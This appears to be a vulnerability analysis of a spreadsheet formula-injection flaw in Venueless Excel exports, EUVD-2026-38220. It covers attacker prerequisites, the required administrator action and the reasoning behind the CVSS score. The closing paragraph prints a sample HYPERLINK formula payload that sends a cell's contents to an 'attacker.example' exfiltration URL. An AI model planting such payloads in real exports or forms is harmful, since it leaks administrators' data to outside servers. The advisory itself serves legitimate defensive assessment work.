Venueless EUVD-2026-38220

Exploitation requires the attacker to hold a low-privilege authenticated account on the Venueless instance sufficient to submit data that is included in administrator-generated Excel exports (PR:L per CVSS vector). An administrator must then independently trigger an export of that data and open the resulting Excel file in spreadsheet software that evaluates formulas on load (UI:P per CVSS vector). Exploitation is limited by the requirement for administrator action - no automated or scheduled export pipeline that skips human file-opening would be vulnerable without additional user interaction. Non-default Excel security settings that block external data connections or prompt before evaluating formulas would further degrade attacker capability post-delivery. There is no indication that a default-locked-down Venueless configuration prevents untrusted users from submitting data that appears in exports.

The CVSS 4.0 score of 5.1 (Medium) is consistent with the constrained impact profile: the attack requires a low-privilege user account (PR:L) and passive administrator interaction (UI:P - the admin must export and open the file), and the direct integrity impact on the vulnerable system is rated Low (VI:L) with no confidentiality or availability impact. The subsequent-system confidentiality impact is rated None (SC:N) in the provided vector, though real-world formula injection can leak spreadsheet cell data to external servers, making SC:N a conservative assessment worth verifying against the actual advisory. No EPSS score was provided in the input data, and no KEV listing exists, reducing urgency for emergency patching. However, because the attack targets an administrative function - Excel exports used by privileged users - the realistic blast radius is the admin's workstation environment and potentially sensitive data visible in the export. The threat is not fully automated (UI:P prevents zero-click exploitation), but administrative users routinely open generated reports without scrutiny, making this a practical risk in deployments where untrusted parties can register accounts. No conflicting signals were identified between the CVSS vector and the description.

An attacker registers a low-privilege account on a Venueless instance and enters a crafted formula string such as =HYPERLINK("http://attacker.example/exfil?d="&ENCODEURL(A2),"click") into a user profile or event submission field. When a Venueless administrator later generates an Excel export of participant data and opens the file in Microsoft Excel, the formula is automatically evaluated, silently transmitting cell contents to the attacker's server. No public exploit code has been identified at time of analysis, but the technique is well-documented and trivially reproducible by any attacker familiar with spreadsheet formula injection.